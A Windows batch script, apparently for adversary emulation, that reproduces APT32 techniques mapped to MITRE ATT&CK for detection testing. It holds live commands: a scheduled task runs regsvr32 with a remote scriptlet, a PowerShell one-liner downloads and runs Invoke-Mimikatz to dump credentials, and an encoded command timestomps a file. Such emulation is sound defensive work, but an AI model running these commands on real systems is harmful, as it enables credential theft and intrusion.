Michael Haag
43 lines
2.2 KiB
Batchfile
43 lines
2.2 KiB
Batchfile
:: Adversary Group: https://attack.mitre.org/wiki/Group/G0050
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:: xref: https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html
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:: Thanks to Nick Carr for his research on this group
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:: Sample Representation of ATT&CK Techniques used by APT32
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:: Tactics: Execution, Persistence, Privilege Escalation
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:: Tactic: Privilege Escalation / Execution
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:: Technique: Scheduled Task https://attack.mitre.org/wiki/Technique/T1053
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:: Create Scheduled Task With RegSv32 Payload
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SCHTASKS /Create /SC MINUTE /TN "Atomic Testing" /TR "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/6965fc15ef872281346d99d5eea952907167dec3/atomics/T1117/RegSvr32.sct scrobj.dll" /mo 30
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SCHTASKS /Run /TN "Atomic Testing"
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SCHTASKS /Delete /TN "Atomic Testing" /F
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:: Tactics: Execution
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:: Technique: PowerShell https://attack.mitre.org/wiki/Technique/T1086
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powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/dev/data/module_source/credentials/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
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:: Tactics: Defense Evasion
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:: Technique: Timestomp https://attack.mitre.org/wiki/Technique/T1099
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:: Source: https://gist.github.com/obscuresec/7b0cf71d7a8dd5e7b54c
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:: To Encode A Command
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:: $Text = '$file=(gi test.txt);$date=''7/16/1945 5:29am'';$file.LastWriteTime=$date;$file.LastAccessTime=$date;$file.CreationTime=$date'
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:: $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
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:: $EncodedText =[Convert]::ToBase64String($Bytes)
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:: $EncodedText
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echo "Atomic Test File" > test.txt
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::PowerShell.exe -com {$file=(gi test.txt);$date = '7/16/1945 5:29am';$file.LastWriteTime=$date;$file.LastAccessTime=$date;$file.CreationTime=$date}
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PowerShell.exe -enc JABmAGkAbABlAD0AKABnAGkAIAB0AGUAcwB0AC4AdAB4AHQAKQA7ACQAZABhAHQAZQA9ACcANwAvADEANgAvADEAOQA0ADUAIAA1ADoAMgA5AGEAbQAnADsAJABmAGkAbABlAC4ATABhAHMAdABXAHIAaQB0AGUAVABpAG0AZQA9ACQAZABhAHQAZQA7ACQAZgBpAGwAZQAuAEwAYQBzAHQAQQBjAGMAZQBzAHMAVABpAG0AZQA9ACQAZABhAHQAZQA7ACQAZgBpAGwAZQAuAEMAcgBlAGEAdABpAG8AbgBUAGkAbQBlAD0AJABkAGEAdABlAA==
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:: Tactics: Defense Evasion
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:: technique: File Deletion https://attack.mitre.org/wiki/Technique/T1107
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:: Deletes File, detection here would be File Modification
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::del test.txt
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